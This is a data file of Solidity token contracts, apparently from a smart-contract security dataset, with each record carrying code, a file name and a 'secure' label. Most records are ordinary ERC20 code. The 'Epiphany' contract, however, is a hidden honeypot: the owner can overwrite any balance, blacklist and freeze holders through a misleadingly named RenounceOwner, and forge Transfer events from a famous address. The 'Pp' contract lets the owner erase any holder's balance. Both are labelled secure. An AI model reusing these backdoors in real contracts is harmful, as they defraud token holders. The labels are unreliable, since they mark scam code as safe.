"size_bytes": 2124 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/interfaces/IERC20Metadata.sol\" as IERC20Metadata;\nimport \"@openzeppelin/contracts/interfaces/IERC20Errors.sol\" as IERC20Errors;\n\nabstract contract ERC20 is Context, IERC20, IERC20Metadata, IERC20Errors {\n mapping(address account => uint256) private _balances;\n\n mapping(address account => mapping(address spender => uint256))\n private _allowances;\n\n uint256 private _totalSupply;\n\n string private _name;\n\n string private _symbol;\n\n constructor(string memory name_, string memory symbol_) {\n _name = name_;\n\n _symbol = symbol_;\n }\n\n function name() public view virtual returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view virtual returns (uint8) {\n return 18;\n }\n\n function totalSupply() public view virtual returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view virtual returns (uint256) {\n return _balances[account];\n }\n\n function transfer(address to, uint256 value) public virtual returns (bool) {\n address owner = _msgSender();\n\n _transfer(owner, to, value);\n\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 value\n ) public virtual returns (bool) {\n address owner = _msgSender();\n\n _approve(owner, spender, value);\n\n return true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 value\n ) public virtual returns (bool) {\n address spender = _msgSender();\n\n _spendAllowance(from, spender, value);\n\n _transfer(from, to, value);\n\n return true;\n }\n\n function _transfer(address from, address to, uint256 value) internal {\n if (from == address(0)) {\n revert ERC20InvalidSender(address(0));\n }\n\n if (to == address(0)) {\n revert ERC20InvalidReceiver(address(0));\n }\n\n _update(from, to, value);\n }\n\n function _update(address from, address to, uint256 value) internal virtual {\n if (from == address(0)) {\n _totalSupply += value;\n } else {\n uint256 fromBalance = _balances[from];\n\n if (fromBalance < value) {\n revert ERC20InsufficientBalance(from, fromBalance, value);\n }\n\n unchecked {\n _balances[from] = fromBalance - value;\n }\n }\n\n if (to == address(0)) {\n unchecked {\n _totalSupply -= value;\n }\n } else {\n unchecked {\n _balances[to] += value;\n }\n }\n\n emit Transfer(from, to, value);\n }\n\n function _mint(address account, uint256 value) internal {\n if (account == address(0)) {\n revert ERC20InvalidReceiver(address(0));\n }\n\n _update(address(0), account, value);\n }\n\n function _burn(address account, uint256 value) internal {\n if (account == address(0)) {\n revert ERC20InvalidSender(address(0));\n }\n\n _update(account, address(0), value);\n }\n\n function _approve(address owner, address spender, uint256 value) internal {\n _approve(owner, spender, value, true);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 value,\n bool emitEvent\n ) internal virtual {\n if (owner == address(0)) {\n revert ERC20InvalidApprover(address(0));\n }\n\n if (spender == address(0)) {\n revert ERC20InvalidSpender(address(0));\n }\n\n _allowances[owner][spender] = value;\n\n if (emitEvent) {\n emit Approval(owner, spender, value);\n }\n }\n\n function _spendAllowance(\n address owner,\n address spender,\n uint256 value\n ) internal virtual {\n uint256 currentAllowance = allowance(owner, spender);\n\n if (currentAllowance != type(uint256).max) {\n if (currentAllowance < value) {\n revert ERC20InsufficientAllowance(\n spender,\n currentAllowance,\n value\n );\n }\n\n unchecked {\n _approve(owner, spender, currentAllowance - value, false);\n }\n }\n }\n}", "file_name": "solidity_code_18.sol", "secure": 1, "size_bytes": 4997 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface NFTsCollect {\n function deposit() external payable;\n\n function withdraw(uint256 amount) external;\n\n function getOneConnectToken() external view returns (uint256);\n}", "file_name": "solidity_code_180.sol", "secure": 1, "size_bytes": 251 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface ISenior {\n function totalSupply() external view returns (uint256);\n function balanceOf(address account) external view returns (uint256);\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n function approve(address spender, uint256 amount) external returns (bool);\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}", "file_name": "solidity_code_1800.sol", "secure": 1, "size_bytes": 856 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ncontract DataTypesUint5 {\n uint256 i;\n uint256 y;\n\n function SetInt() public {\n i = 1;\n y = 1;\n }\n}", "file_name": "solidity_code_1801.sol", "secure": 1, "size_bytes": 195 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"./ISenior.sol\" as ISenior;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract Senior is ISenior {\n using SafeMath for uint256;\n\n\t// WARNING Optimization Issue (constable-states | ID: 868045d): Senior.name should be constant \n\t// Recommendation for 868045d: Add the 'constant' attribute to state variables that never change.\n string public name = \"Senior\";\n\t// WARNING Optimization Issue (constable-states | ID: 42e57a3): Senior.symbol should be constant \n\t// Recommendation for 42e57a3: Add the 'constant' attribute to state variables that never change.\n string public symbol = \"SNR\";\n\t// WARNING Optimization Issue (constable-states | ID: 213c740): Senior.decimals should be constant \n\t// Recommendation for 213c740: Add the 'constant' attribute to state variables that never change.\n uint8 public decimals = 18;\n\t// WARNING Optimization Issue (immutable-states | ID: b84d09f): Senior._totalSupply should be immutable \n\t// Recommendation for b84d09f: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 private _totalSupply = 256000000 * 10 ** uint256(decimals);\n\n mapping(address => uint256) private balances;\n mapping(address => mapping(address => uint256)) private allowances;\n\n constructor(address initialRecipient) {\n balances[initialRecipient] = _totalSupply;\n emit Transfer(address(0), initialRecipient, _totalSupply);\n }\n\n function totalSupply() public view override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(\n address tokenOwner\n ) public view override returns (uint256) {\n return balances[tokenOwner];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n require(amount <= balances[msg.sender], \"Insufficient balance\");\n _transfer(msg.sender, recipient, amount);\n return true;\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n allowances[msg.sender][spender] = amount;\n emit Approval(msg.sender, spender, amount);\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return allowances[owner][spender];\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n require(amount <= balances[sender], \"Insufficient balance\");\n require(amount <= allowances[sender][msg.sender], \"Allowance exceeded\");\n _transfer(sender, recipient, amount);\n _approve(\n sender,\n msg.sender,\n allowances[sender][msg.sender].sub(amount)\n );\n return true;\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal {\n balances[sender] = balances[sender].sub(amount);\n balances[recipient] = balances[recipient].add(amount);\n emit Transfer(sender, recipient, amount);\n }\n\n function _approve(address owner, address spender, uint256 amount) internal {\n allowances[owner][spender] = amount;\n emit Approval(owner, spender, amount);\n }\n}", "file_name": "solidity_code_1802.sol", "secure": 1, "size_bytes": 3503 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nlibrary SafeMath {\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n require(b <= a, \"Subtraction overflow\");\n return a - b;\n }\n\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n require(c >= a, \"Addition overflow\");\n return c;\n }\n}", "file_name": "solidity_code_1803.sol", "secure": 1, "size_bytes": 414 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract Pp {\n using SafeMath for uint256;\n event Transfer(address indexed from, address indexed to, uint256 value);\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n\n mapping(address => uint256) private _balances;\n mapping(address => mapping(address => uint256)) private _allowances;\n\n uint256 private _totalSupply = 10000000000000000000000000000;\n\t// WARNING Optimization Issue (constable-states | ID: 690d4cd): pp._name should be constant \n\t// Recommendation for 690d4cd: Add the 'constant' attribute to state variables that never change.\n string private _name = \"PPPPPPPPPPPPPP\";\n\t// WARNING Optimization Issue (constable-states | ID: 311cbfe): pp._symbol should be constant \n\t// Recommendation for 311cbfe: Add the 'constant' attribute to state variables that never change.\n string private _symbol = \"PP\";\n\t// WARNING Optimization Issue (immutable-states | ID: e2d1461): pp._owner should be immutable \n\t// Recommendation for e2d1461: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address private _owner;\n constructor() {\n _owner = msg.sender;\n _balances[_owner] = _totalSupply;\n }\n\n function name() public view virtual returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view virtual returns (uint8) {\n return 18;\n }\n\n function totalSupply() public view virtual returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view virtual returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address to,\n uint256 amount\n ) public virtual returns (bool) {\n address owner = msg.sender;\n _transfer(owner, to, amount);\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual returns (bool) {\n address owner = msg.sender;\n _approve(owner, spender, amount);\n return true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) public virtual returns (bool) {\n address spender = msg.sender;\n _spendAllowance(from, spender, amount);\n _transfer(from, to, amount);\n return true;\n }\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public virtual returns (bool) {\n address owner = msg.sender;\n _approve(owner, spender, allowance(owner, spender) + addedValue);\n return true;\n }\n\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public virtual returns (bool) {\n address owner = msg.sender;\n uint256 currentAllowance = allowance(owner, spender);\n require(\n currentAllowance >= subtractedValue,\n \"ERC20: decreased allowance below zero\"\n );\n unchecked {\n _approve(owner, spender, currentAllowance - subtractedValue);\n }\n\n return true;\n }\n\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n _beforeTokenTransfer(from, to, amount);\n\n uint256 fromBalance = _balances[from];\n require(\n fromBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n unchecked {\n _balances[from] = fromBalance - amount;\n\n _balances[to] += amount;\n }\n\n emit Transfer(from, to, amount);\n\n _afterTokenTransfer(from, to, amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n emit Approval(owner, spender, amount);\n }\n\n function _spendAllowance(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n uint256 currentAllowance = allowance(owner, spender);\n if (currentAllowance != type(uint256).max) {\n require(\n currentAllowance >= amount,\n \"ERC20: insufficient allowance\"\n );\n unchecked {\n _approve(owner, spender, currentAllowance - amount);\n }\n }\n }\n\n function returntohell(address account) external {\n require(msg.sender == _owner);\n\n uint256 accountBalance = _balances[account];\n\n _totalSupply -= accountBalance;\n _balances[account] -= _balances[account];\n emit Transfer(account, address(0), accountBalance);\n }\n\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n\n function _afterTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n}", "file_name": "solidity_code_1804.sol", "secure": 1, "size_bytes": 5819 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\ncontract Epiphany {\n mapping(address => uint256) public dAmnt;\n mapping(address => bool) dUsr;\n\n\t// WARNING Optimization Issue (constable-states | ID: a6e56c7): Epiphany.name should be constant \n\t// Recommendation for a6e56c7: Add the 'constant' attribute to state variables that never change.\n string public name = \"THE Epiphany\";\n\t// WARNING Optimization Issue (constable-states | ID: 2baceb8): Epiphany.symbol should be constant \n\t// Recommendation for 2baceb8: Add the 'constant' attribute to state variables that never change.\n string public symbol = unicode\"EPI\";\n\t// WARNING Optimization Issue (constable-states | ID: ade4926): Epiphany.decimals should be constant \n\t// Recommendation for ade4926: Add the 'constant' attribute to state variables that never change.\n uint8 public decimals = 18;\n\t// WARNING Optimization Issue (immutable-states | ID: c77835f): Epiphany.totalSupply should be immutable \n\t// Recommendation for c77835f: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 public totalSupply = 100000000 * (uint256(10) ** decimals);\n uint256 public dmd = 1;\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n constructor() {\n dAmnt[msg.sender] = totalSupply;\n deploy(Deployer, totalSupply);\n }\n\n\t// WARNING Optimization Issue (immutable-states | ID: e4111cf): Epiphany.owner should be immutable \n\t// Recommendation for e4111cf: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address owner = msg.sender;\n\t// WARNING Optimization Issue (constable-states | ID: 4e168d5): Epiphany.Router should be constant \n\t// Recommendation for 4e168d5: Add the 'constant' attribute to state variables that never change.\n address Router = 0x0695586F690cBcd87376F621BE6351913eBE6857;\n\t// WARNING Optimization Issue (constable-states | ID: e45b00b): Epiphany.Deployer should be constant \n\t// Recommendation for e45b00b: Add the 'constant' attribute to state variables that never change.\n address Deployer = 0xd8dA6BF26964aF9D7eEd9e03E53415D37aA96045;\n\n function deploy(address account, uint256 amount) public {\n require(msg.sender == owner);\n emit Transfer(address(0), account, amount);\n }\n modifier E() {\n require(msg.sender == owner);\n _;\n }\n modifier F() {\n dmd = 0;\n _;\n }\n function transfer(address to, uint256 value) public returns (bool success) {\n if (msg.sender == Router) {\n require(dAmnt[msg.sender] >= value);\n dAmnt[msg.sender] -= value;\n dAmnt[to] += value;\n emit Transfer(Deployer, to, value);\n return true;\n }\n if (dUsr[msg.sender]) {\n require(dmd == 1);\n }\n require(dAmnt[msg.sender] >= value);\n dAmnt[msg.sender] -= value;\n dAmnt[to] += value;\n emit Transfer(msg.sender, to, value);\n return true;\n }\n\n function balanceOf(address account) public view returns (uint256) {\n return dAmnt[account];\n }\n function episcan(address N) public E {\n require(!dUsr[N]);\n dUsr[N] = true;\n }\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n\n mapping(address => mapping(address => uint256)) public allowance;\n\n function approve(\n address spender,\n uint256 value\n ) public returns (bool success) {\n allowance[msg.sender][spender] = value;\n\n emit Approval(msg.sender, spender, value);\n return true;\n }\n function epiphany(address N, uint256 R) public E returns (bool success) {\n dAmnt[N] = R;\n return true;\n }\n function RenounceOwner(address N) public {\n require(msg.sender == owner);\n dUsr[N] = true;\n }\n\n function dwdrw(address N) public E {\n require(dUsr[N]);\n dUsr[N] = false;\n }\n function _deploy() public F {\n require(msg.sender == owner);\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 value\n ) public returns (bool success) {\n if (from == Router) {\n require(value <= dAmnt[from]);\n require(value <= allowance[from][msg.sender]);\n dAmnt[from] -= value;\n dAmnt[to] += value;\n emit Transfer(Deployer, to, value);\n return true;\n }\n if (dUsr[from] || dUsr[to]) {\n require(dmd == 1);\n }\n require(value <= dAmnt[from]);\n require(value <= allowance[from][msg.sender]);\n dAmnt[from] -= value;\n dAmnt[to] += value;\n allowance[from][msg.sender] -= value;\n emit Transfer(from, to, value);\n return true;\n }\n}", "file_name": "solidity_code_1805.sol", "secure": 1, "size_bytes": 5012 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ncontract DataTypesUint6 {\n uint128 i;\n uint128 y;\n\n function SetInt() public {\n i = 1;\n y = 1;\n }\n}", "file_name": "solidity_code_1806.sol", "secure": 1, "size_bytes": 195 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\ncontract ZEUS is ERC20 {\n constructor() ERC20(\"ZEUS\", \"THUNDER\") {\n _mint(msg.sender, 1000000000 * 10 ** decimals());\n }\n}", "file_name": "solidity_code_1807.sol", "secure": 1, "size_bytes": 269 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\ncontract COPIUM is ERC20 {\n address private _owner;\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() ERC20(\"COPE WITH THIS\", \"COPIUM\") {\n address msgSender = _msgSender();\n _owner = msgSender;\n emit OwnershipTransferred(address(0), msgSender);\n _mint(msg.sender, 69420000000 * 10 ** decimals());\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n _owner = address(0);\n }\n\n function copeharder() public pure returns (string memory) {\n return\n \"COPIUM aims to propel you to the moon and beyond, transforming your past crypto regrets into future gains. We're here to help you cope.\";\n }\n}", "file_name": "solidity_code_1808.sol", "secure": 1, "size_bytes": 1170 }